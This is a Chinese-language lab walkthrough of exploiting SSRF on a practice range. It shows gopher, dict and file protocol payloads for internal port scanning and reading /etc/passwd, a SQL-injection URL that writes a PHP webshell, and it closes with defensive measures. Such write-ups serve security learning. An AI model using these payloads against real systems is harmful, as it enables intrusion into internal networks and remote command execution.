SSRF作为入口点的利用
SSRF入口的利用 SSRF是由一种攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下SSRF的攻击目标是外网无法访问到的内部系统。(正因为请求是由服务器发起的,所以服务器端能请求到与自身相连而与外网隔离的内部系统。)
这里我用了个靶场: https://github.com/sqlsec/ssrf-vuls
服务端请求访问 常见的攻击协议
Gopher协议
对目标攻击的主要协议
gopher://xxxxx:port/主体
主体部分需要url编码
Dict协议
探测端口操作,以及版本信息
dict://xxxxx:port/info
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379(http也可以)
ftp协议
只能探测是否存在ftp,不能进行爆破
http协议
用来探测是否存在ssrf
sftp:// ldap://
file协议
读取文件协议
刺探支持的协议(修改协议头即可)
gopher://<host>:<post>/<gopher-path>_后面接TCP数据流(扫描)
dict://xxxxx:port/info(例:dict://xxxxx:22/info,dict://xxxxx:6379/info)(爆破)
ftp:///etc/passwd(file://c:\windows\win.ini,如果报错返回绝对地址更再好不过了)
http://xxxxx:port/(扫描)
file://(读取文件内容)
靶场 搭建完成后 访问http://url:8080/ 随便请求内网,发现套娃 存在SSRF漏洞 http://127.0.0.1:8080file:///etc/passwd # 读取配置文件file:///etc/hosts # 查看hosts文件
探索内部资产 可以用dict进行探测服务 加上前面看到了172.72.23.0网段 暴力破解IP和端口 探测到非常多服务
代码执行 访问172.72.23.22 发现提示,发现里面有一个shell.php的文件 是一个简单的命令执行,使用cat%20/flag 直接读取flag flag{a8ebc494c479c9f03fc353b3ba81040d}
SQL注入
访问第二个172.72.23.23 是一个sql注入的题目 简单的get注入 判断出为4列 然后进行一些简单查询 接下来直接些webshell了 http://172.72.23.23/?id=1'%20union%20select%201,2,3,'<?php%20system($_GET[a]);%20?>'%20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+
命令执行 因为是post提交数据的所以没办法直接提交 gopher://ip:端口/_请求内网POST数据包进行2次URL编码
Accept-Encoding: gzip, deflate # 记得删除!!!成功执行命令 防护措施 1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5.禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
|